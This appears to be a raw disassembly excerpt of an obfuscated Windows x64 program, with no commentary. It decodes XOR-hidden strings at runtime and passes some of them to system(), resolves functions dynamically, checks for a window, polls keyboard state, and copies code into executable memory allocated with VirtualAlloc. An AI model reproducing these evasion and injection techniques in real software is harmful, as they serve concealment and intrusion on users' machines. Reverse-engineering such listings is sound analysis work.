mov rax, qword [rbp]
mov qword [rbp + 0x3ae0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ae8], rax
movdqa xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0x3ae0]
movdqa xmmword [rbp + 0x4c0], xmm0
lea rdx, [rbp + 0x4c0]
lea rcx, [0x14012b618]
call fcn.140011510
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xd0], al
mov byte [rbp + 0xd1], al
mov byte [rbp + 0xd2], al
movabs rax, 0x96563dd87ed419f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d0], rax
movabs rax, 0x6e5e413bb15f2cd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4d8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ad0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ad8], rax
movdqa xmm0, xmmword [rbp + 0x4d0]
pxor xmm0, xmmword [rbp + 0x3ad0]
movdqa xmmword [rbp + 0x4d0], xmm0
lea rcx, [rbp + 0x4d0]
call fcn.140011700
test rax, rax
jne 0x14003ddc7
lea edx, [rax + 0x18]
lea rcx, [rbp + 0x2e68]
call fcn.140014140
xor eax, eax
mov byte [rbp + 0xd3], al
mov byte [rbp + 0xd4], al
mov byte [rbp + 0xd5], al
movabs rax, 0xf2787a9b2e9553a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ac0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ac8], rax
movdqa xmm0, xmmword [rbp + 0x4e0]
pxor xmm0, xmmword [rbp + 0x3ac0]
movdqa xmmword [rbp + 0x4e0], xmm0
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x2950]
call fcn.140007250
mov r8, rax
lea rdx, [rbp + 0x2e68]
lea rcx, [rbp + 0x30e0]
call fcn.14008aad0
nop
xor eax, eax
mov byte [rbp + 0xd6], al
mov byte [rbp + 0xd7], al
mov byte [rbp + 0xd8], al
movabs rax, 0x865630cf76fe50dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
movabs rax, 0x6e5e413bb15f34c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ab0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ab8], rax
movdqa xmm0, xmmword [rbp + 0x4f0]
pxor xmm0, xmmword [rbp + 0x3ab0]
movdqa xmmword [rbp + 0x4f0], xmm0
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x3018]
call fcn.140007250
nop
lea rcx, [rbp + 0x3078]
call fcn.140007290
nop
mov edx, 0x110
lea rcx, [rbp + 0x34a0]
call fcn.14000dd70
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x3018]
lea rcx, [rbp + 0x34a0]
call fcn.140041c70
nop
lea rcx, [rbp + 0x34a0]
call fcn.140041c60
lea rcx, [rbp + 0xd9]
call fcn.14000a3a0
mov rbx, rax
lea rcx, [rbp + 0x1b10]
call fcn.140041860
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x14e0], xmm0
lea rdx, [rbp + 0x34a0]
lea rcx, [rbp + 0x1b20]
call fcn.140041840
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1520], xmm0
mov r9, rbx
lea r8, [rbp + 0x14e0]
lea rdx, [rbp + 0x1520]
lea rcx, [rbp + 0x2ff8]
call fcn.140043090
nop
lea rdx, [rbp + 0x2ff8]
lea rcx, [0x14012a090]
call fcn.14000e410
lea rcx, [rbp + 0x34a0]
call fcn.14000e1d0
lea rdx, [0x14012a090]
lea rcx, [rbp + 0x2930]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
cmp byte [rbp + 0x3320], 0
jne 0x14003dad9
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2e68]
lea rcx, [rbp + 0x1900]
call fcn.1400417d0
mov rcx, rax
call fcn.140036970
lea rcx, [rbp + 0x2e68]
call fcn.140041760
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xda], al
mov byte [rbp + 0xdb], al
mov byte [rbp + 0xdc], al
movabs rax, 0xf27849aa1dd106fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movabs rbx, 0xf27849aa1da26a9f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3aa0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3aa8], rax
movdqa xmm0, xmmword [rbp + 0x500]
pxor xmm0, xmmword [rbp + 0x3aa0]
movdqa xmmword [rbp + 0x500], xmm0
lea rcx, [rbp + 0x500]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0xdd], al
mov byte [rbp + 0xde], al
mov byte [rbp + 0xdf], al
mov byte [rbp + 0xe0], al
mov byte [rbp + 0xe1], al
mov byte [rbp + 0xe2], al
movabs rax, 0x932e22cd65e61ed1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1220], rax
movabs rax, 0x1a312c54c30f2cd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1228], rax
movabs rax, 0x5a0b25d4dcc74fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1230], rax
movabs rax, 0x25ae151e357d0cf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1238], rax
movabs rax, 0x80a487de6dabcd42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1248], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ec0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ec8], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ed0], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ed8], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ee0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3ee8], rax
vmovdqu ymm0, ymmword [rbp + 0x1220]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ec0]
vmovdqa ymmword [rbp + 0x1220], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1240]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ee0]
vmovdqa xmmword [rbp + 0x1240], xmm0
movabs rax, 0x96563c982ecc03e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
movabs rax, 0x6e5e413bb15f2cd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a90], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a98], rax
vmovdqa xmm0, xmmword [rbp + 0x510]
vpxor xmm0, xmm0, xmmword [rbp + 0x3a90]
vmovdqa xmmword [rbp + 0x510], xmm0
lea rcx, [rbp + 0x510]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x1220]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012b3b0], rax
lea rcx, [rbp + 0x2ff8]
call fcn.140007240
nop
lea rcx, [rbp + 0x34a0]
call fcn.14000dd00
nop
lea rcx, [rbp + 0x3078]
call fcn.140007240
nop
lea rcx, [rbp + 0x3018]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e68]
call fcn.140041770
xor eax, eax
mov byte [rbp + 0xe3], al
mov byte [rbp + 0xe4], al
mov byte [rbp + 0xe5], al
lea rdx, [0x140030750]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x9c113dc37cf54a95
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa40], rcx
movabs rax, 0xf396149de3960df
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa48], rcx
movabs rax, 0x43176acbc58869e4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa50], rcx
movabs rax, 0x43dc6063753c0be7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4640], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4648], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4650], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4658], rax
vmovdqu ymm0, ymmword [rbp + 0xa40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4640]
vmovdqa ymmword [rbp + 0xa40], ymm1
lea rdx, [rbp + 0xa40]
mov rcx, r8
vzeroupper
call fcn.14000baf0
movabs rsi, 0x6e5e4148c23e2cfb
movabs r12, 0xf27849aa69d11fcd
movabs r13, 0x96161ed369cb04ca
nop
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xe6], al
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], al
mov byte [rbp + 0xe9], al
mov byte [rbp + 0xea], al
mov byte [rbp + 0xeb], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a80], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a88], rax
movdqa xmm0, xmmword [rbp + 0x520]
pxor xmm0, xmmword [rbp + 0x3a80]
movdqa xmmword [rbp + 0x520], xmm0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a70], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a78], rax
movdqa xmm0, xmmword [rbp + 0x530]
pxor xmm0, xmmword [rbp + 0x3a70]
movdqa xmmword [rbp + 0x530], xmm0
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x530]
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14003def0
xor eax, eax
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], al
mov byte [rbp + 0xee], al
movabs rax, 0xf27849aa1dd106fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a68], rax
movdqa xmm0, xmmword [rbp + 0x540]
pxor xmm0, xmmword [rbp + 0x3a60]
movdqa xmmword [rbp + 0x540], xmm0
lea rcx, [rbp + 0x540]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0xef], al
mov byte [rbp + 0xf0], al
mov byte [rbp + 0xf1], al
lea rdx, [0x140030750]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0x9c112dcb72ee4a95
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x550], rcx
movabs rax, 0x6e5e41159f716edf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x558], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3a50], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a58], rax
movdqa xmm0, xmmword [rbp + 0x550]
pxor xmm0, xmmword [rbp + 0x3a50]
movdqa xmmword [rbp + 0x550], xmm0
lea rdx, [rbp + 0x550]
mov rcx, r8
call fcn.14000baf0
cmp byte [0x14012b377], 0
movabs r12, 0x403a3354d22c29dc
movabs r13, 0x1c113ac59ec563ea
je 0x14003e659
mov edx, Ordinal_27
lea rcx, [rbp + 0x2e50]
call fcn.140014140
xor eax, eax
mov byte [rbp + 0xf2], al
mov byte [rbp + 0xf3], al
mov byte [rbp + 0xf4], al
movabs rax, 0xf2787a9b2e9553a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a48], rax
movdqa xmm0, xmmword [rbp + 0x560]
pxor xmm0, xmmword [rbp + 0x3a40]
movdqa xmmword [rbp + 0x560], xmm0
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x2910]
call fcn.140007250
mov r8, rax
lea rdx, [rbp + 0x2e50]
lea rcx, [rbp + 0x30e0]
call fcn.14008aad0
nop
xor eax, eax
mov byte [rbp + 0xf5], al
mov byte [rbp + 0xf6], al
mov byte [rbp + 0xf7], al
movabs rax, 0x865630cf76fe50dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0x6e5e413bb15f34c0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a30], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a38], rax
movdqa xmm0, xmmword [rbp + 0x570]
pxor xmm0, xmmword [rbp + 0x3a30]
movdqa xmmword [rbp + 0x570], xmm0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x3058]
call fcn.140007250
nop
lea rcx, [rbp + 0x3098]
call fcn.140007290
nop
mov edx, 0x110
lea rcx, [rbp + 0x35b0]
call fcn.14000dd70
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x3058]
lea rcx, [rbp + 0x35b0]
call fcn.140041c70
nop
lea rcx, [rbp + 0x35b0]
call fcn.140041c60
lea rcx, [rbp + 0xf8]
call fcn.14000a3a0
mov rbx, rax
lea rcx, [rbp + 0x1b30]
call fcn.140041860
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1500], xmm0
lea rdx, [rbp + 0x35b0]
lea rcx, [rbp + 0x1b40]
call fcn.140041840
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x14f0], xmm0
mov r9, rbx
lea r8, [rbp + 0x1500]
lea rdx, [rbp + 0x14f0]
lea rcx, [rbp + 0x3038]
call fcn.140043090
nop
lea rdx, [rbp + 0x3038]
lea rcx, [0x14012a090]
call fcn.14000e410
lea rcx, [rbp + 0x35b0]
call fcn.14000e1d0
lea rdx, [0x14012a090]
lea rcx, [rbp + 0x28f0]
call fcn.14000e470
mov rdx, rax
lea rcx, [rbp + 0x30e0]
call fcn.14008a430
cmp byte [rbp + 0x3320], 0
jne 0x14003e36b
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2e50]
lea rcx, [rbp + 0x1918]
call fcn.1400417d0
mov rcx, rax
call fcn.140036970
lea rcx, [rbp + 0x2e50]
call fcn.140041760
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xf9], al
mov byte [rbp + 0xfa], al
mov byte [rbp + 0xfb], al
movabs rax, 0xf27849aa1dd106fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rbx, 0xf27849aa1da26a9f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a20], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a28], rax
movdqa xmm0, xmmword [rbp + 0x580]
pxor xmm0, xmmword [rbp + 0x3a20]
movdqa xmmword [rbp + 0x580], xmm0
lea rcx, [rbp + 0x580]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0xfc], al
mov byte [rbp + 0xfd], al
mov byte [rbp + 0xfe], al
mov byte [rbp + 0xff], al
mov byte [rbp + 0x100], al
mov byte [rbp + 0x101], al
movabs rax, 0x932e22cd65e61ed1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1260], rax
movabs rax, 0x1a312c54c30f2cd1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1268], rax
movabs rax, 0x5a0b25d4dcc74fec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1270], rax
movabs rax, 0x25ae151e357d0cf6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1278], rax
movabs rax, 0x80a487de6dabcd42
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1280], rax
movabs rcx, 0xd68cf8ffcf72a52c
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1288], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f08], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f10], rax
movabs rax, 0x43dc604d5b126582
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f18], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f20], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3f28], rax
vmovdqu ymm0, ymmword [rbp + 0x1260]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f00]
vmovdqa ymmword [rbp + 0x1260], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1280]
vpxor xmm0, xmm0, xmmword [rbp + 0x3f20]
vmovdqa xmmword [rbp + 0x1280], xmm0
movabs rax, 0x96563c982ecc03e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0x6e5e413bb15f2cd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a10], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a18], rax
vmovdqa xmm0, xmmword [rbp + 0x590]
vpxor xmm0, xmm0, xmmword [rbp + 0x3a10]
vmovdqa xmmword [rbp + 0x590], xmm0
lea rcx, [rbp + 0x590]
vzeroupper
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x1260]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012b3b0], rax
lea rcx, [rbp + 0x3038]
call fcn.140007240
nop
lea rcx, [rbp + 0x35b0]
call fcn.14000dd00
nop
lea rcx, [rbp + 0x3098]
call fcn.140007240
nop
lea rcx, [rbp + 0x3058]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e50]
call fcn.140041770
xor eax, eax
mov byte [rbp + 0x102], al
mov byte [rbp + 0x103], al
mov byte [rbp + 0x104], al
movabs rdi, 0x971125e969d11fcd
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rbx, 0x6e5e2443d47134d6
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0xf27849aa1da26a9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a00], rax
movabs rax, 0x6e5e413bb15f40b8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a08], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0x3a00]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rcx, [rbp + 0x5a0]
call fcn.140011ec0
xor eax, eax
mov byte [rbp + 0x105], al
mov byte [rbp + 0x106], al
mov byte [rbp + 0x107], al
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rbx, 0xf27849aa1da26a9f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x39f0], rax
movabs rdi, 0x6e5e413bb15f40b8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x39f8], rax
movdqa xmm0, xmmword [rbp + 0x5b0]
pxor xmm0, xmmword [rbp + 0x39f0]
movdqa xmmword [rbp + 0x5b0], xmm0
lea rcx, [rbp + 0x5b0]
call fcn.140011ec0
mov eax, eax
mov qword [0x14012b3a0], rax
lea rdx, str..Apple_X
lea rcx, [0x14012b618]
call fcn.140011510
mov ecx, 0xbb9
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0x108], al
mov byte [rbp + 0x109], al
mov byte [rbp + 0x10a], al
movabs rax, 0x970b3aeb78cf0bd8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa60], rax
movabs rax, 0x2322515c83322d5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa68], rax
movabs rdx, 0x33784aa4b1a80c89
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0xa70], rax
movabs rcx, 0x43dc604d5b126582
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xa78], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4740], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4748], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4750], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4758], rax
vmovdqu ymm0, ymmword [rbp + 0xa60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4740]
vmovdqa ymmword [rbp + 0xa60], ymm1
lea rcx, [rbp + 0xa60]
vzeroupper
call fcn.140011700
mov qword [0x14012b620], rax
test rax, rax
jne 0x14003e9a1
movabs r15, 0x43dc604d5b126582
movabs r14, 0x33784aa4b1a80c89
movabs r13, 0x970b3aeb78cf0bd8
movabs r12, 0x2322515c83322d5
nop word [rax + rax]
xor eax, eax
mov byte [rbp + 0x10b], al
mov byte [rbp + 0x10c], al
mov byte [rbp + 0x10d], al
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4760], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4768], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4770], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4778], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x4760]
vmovdqa ymmword [rbp + 0x720], ymm1
lea rcx, [rbp + 0x720]
vzeroupper
call fcn.140011700
mov qword [0x14012b620], rax
test rax, rax
je 0x14003e8c0
movabs r14, 0xf5601b1c3d70d771
movabs r12, 0x403a3354d22c29dc
movabs r13, 0x1c113ac59ec563ea
xor eax, eax
mov byte [rbp + 0x10e], al
mov byte [rbp + 0x10f], al
mov byte [rbp + 0x110], al
movabs rax, 0xf27849aa1dd106fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x39e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x39e8], rax
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0x39e0]
movdqa xmmword [rbp + 0x5c0], xmm0
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x14012b392], 1
mov byte [0x14012b42f], 1
xor eax, eax
mov byte [rbp + 0x111], al
mov byte [rbp + 0x112], al
mov byte [rbp + 0x113], al
lea rdx, [0x140030780]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, rax
movabs rax, 0xd20b3acf6ff24a95
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x740], rcx
movabs rax, 0xf196155f87f72fe
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x748], rcx
movabs rax, 0x33784a8a9f8669e4
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x750], rcx
movabs rcx, 0x43dc604d5b126582
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x4780], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4788], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4790], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4798], rax
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x4780]
vmovdqa ymmword [rbp + 0x740], ymm1
lea rdx, [rbp + 0x740]
mov rcx, r8
vzeroupper
call fcn.14000baf0
lea rdi, [0x140000000]
lea rsi, [0x140042d80]
lea r15, [rsp + 0x4858]
nop dword [rax]
nop word [rax + rax]
mov rdx, qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea rcx, [rbp + 0x1510]
call fcn.140041640
mov rbx, rax
mov dword [rbp + 0x144], WSAStartup
mov edx, Ordinal_27
lea rcx, [rbp + 0x2fc0]
call fcn.140014140
mov rdx, r15
lea rcx, [rbp + 0x2fc0]
call fcn.1400114c0
nop
xor edx, edx
mov rcx, qword [0x14012dcb0]
test rcx, rcx
je 0x14003ebca
xor eax, eax
cmp rcx, rsi
je 0x14003ebb9
inc edx
mov eax, edx
mov rcx, qword [rdi + rdx*8 + 0x12dcb0]
test rcx, rcx
jne 0x14003eba1
jmp 0x14003ebca
mov r8, qword [rdi + rax*8 + 0x12b6f0]
test r8, r8
jne 0x14003ecaf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14003ec8e
mov rcx, rsi
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
